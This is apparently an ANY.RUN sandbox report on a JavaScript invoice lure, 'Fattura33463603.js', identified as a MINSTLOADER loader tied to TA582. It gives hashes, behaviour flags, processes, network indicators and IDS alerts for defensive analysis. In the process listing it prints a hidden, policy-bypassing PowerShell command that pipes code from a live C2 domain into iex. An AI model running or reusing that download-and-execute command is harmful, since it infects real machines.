File name:

Fattura33463603.js

Full analysis: https://app.any.run/tasks/40a054db-b930-42d1-9158-58bd898df4ab
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: February 03, 2025, 11:54:03
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
minst
loader
ta582
apt
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines (980)
MD5:

2D7F27E8A11FDBC2C14E9342729A5B35

SHA1:

9C341D1CA3ED2B6EAC5910A4D9720C2794605FFA

SHA256:

2B529B5727C675AE8C3C8C5DF9916C9B1C192DFE9FAF54C5FB367D02B4983755

SSDEEP:

192:ftdHdX7Lbpy7abgHb3MOJbs5bkyrbJr6cMGfNgOMwXqYhYZYf0YrYHcY1cYxu2RW:fhLbpy7abgHb3M0bs5bxHJEOMw6uU00w

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6456)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6456)

    • MINSTLOADER has been detected

      • wscript.exe (PID: 6392)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 6392)

    • Changes powershell execution policy (Bypass)

      • wscript.exe (PID: 6392)

    • Deletes a file (SCRIPT)

      • wscript.exe (PID: 6392)

    • Connects to the CnC server

      • powershell.exe (PID: 6456)

  • SUSPICIOUS

    • Possibly malicious use of IEX has been detected

      • wscript.exe (PID: 6392)

    • The process bypasses the loading of PowerShell profile settings

      • wscript.exe (PID: 6392)

    • Download files or web resources using Curl/Wget

      • wscript.exe (PID: 6392)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 6392)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 6392)

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 6392)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 6392)

    • Execution of CURL command (POWERSHELL)

      • powershell.exe (PID: 6456)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 6456)

    • Checks proxy server information

      • powershell.exe (PID: 6456)

    • Reads Internet Explorer settings

      • powershell.exe (PID: 6456)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6456)

    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 6456)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
123
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #MINSTLOADER wscript.exe no specs powershell.exe conhost.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
6392"C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\Fattura33463603.jsC:\Windows\System32\wscript.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6456"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -WindowStyle hidden -C " curl http://tubuz3ubhz222.top/1.php?s=mints13 |iex"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\msisip.dll
c:\windows\system32\wshext.dll
c:\windows\system32\appxsip.dll
c:\windows\system32\opcservices.dll
c:\windows\system32\cryptnet.dll
c:\windows\assembly\nativeimages_v4.0.30319_64\system.data\d2e978682db466b656fcd01c9d5e5d0b\system.data.ni.dll
c:\windows\system32\windowspowershell\v1.0\pwrshsip.dll
c:\windows\microsoft.net\assembly\gac_64\system.data\v4.0_4.0.0.0__b77a5c561934e089\system.data.dll
c:\windows\system32\ws2_32.dll
c:\windows\assembly\nativeimages_v4.0.30319_64\system.configuration\068c3850fac5ae56a38c10550c4e18a4\system.configuration.ni.dll
6464\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Total events
2 256
Read events
2 255
Write events
1
Delete events
0

Modification events

(PID) Process:(6392) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
Operation:writeName:JScriptSetScriptStateStarted
Value:
6282130000000000
Executable files
0
Suspicious files
4
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
6456powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F3T331ZTPKC750KWJL64.tempbinary
MD5:5ED650B57E21C0D4AC026C449C244603
SHA256:9275754E90566791ED9EE909E30A428D45BEC5ECB70D90191181B162F0E62F86
6456powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF138408.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
6456powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4jtfdk2v.c3v.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6456powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:5ED650B57E21C0D4AC026C449C244603
SHA256:9275754E90566791ED9EE909E30A428D45BEC5ECB70D90191181B162F0E62F86
6456powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l5pnzows.vwd.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6456powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:CE928733D8A5346B7E75BBC78478052A
SHA256:FC557B854215D10775122C3CAA0B37932981F3803B663B1260478E8FA2CB8733
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
28
DNS requests
8
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6456
powershell.exe
GET
404
45.61.138.200:80
http://tubuz3ubhz222.top/1.php?s=mints13
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.104.136.2:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5064
SearchApp.exe
2.19.80.80:443
www.bing.com
Akamai International B.V.
DE
whitelisted
6456
powershell.exe
45.61.138.200:80
tubuz3ubhz222.top
BLNWX
GB
malicious
880
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3976
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1176
svchost.exe
20.190.160.17:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1076
svchost.exe
23.218.210.69:443
go.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
www.bing.com
  • 2.19.80.80
  • 2.19.80.27
  • 2.19.80.88
  • 2.19.80.17
  • 2.19.80.99
  • 2.19.80.89
  • 2.19.80.56
  • 2.19.80.123
  • 2.19.80.24
whitelisted
tubuz3ubhz222.top
  • 45.61.138.200
malicious
settings-win.data.microsoft.com
  • 4.231.128.59
whitelisted
login.live.com
  • 20.190.160.17
  • 40.126.32.133
  • 20.190.160.128
  • 40.126.32.68
  • 20.190.160.132
  • 20.190.160.130
  • 20.190.160.20
  • 40.126.32.134
whitelisted
go.microsoft.com
  • 23.218.210.69
whitelisted

Threats

PID
Process
Class
Message
6456
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
6456
powershell.exe
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
6456
powershell.exe
A Network Trojan was detected
ET MALWARE TA582 CnC Checkin
2192
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Fattura33463603.js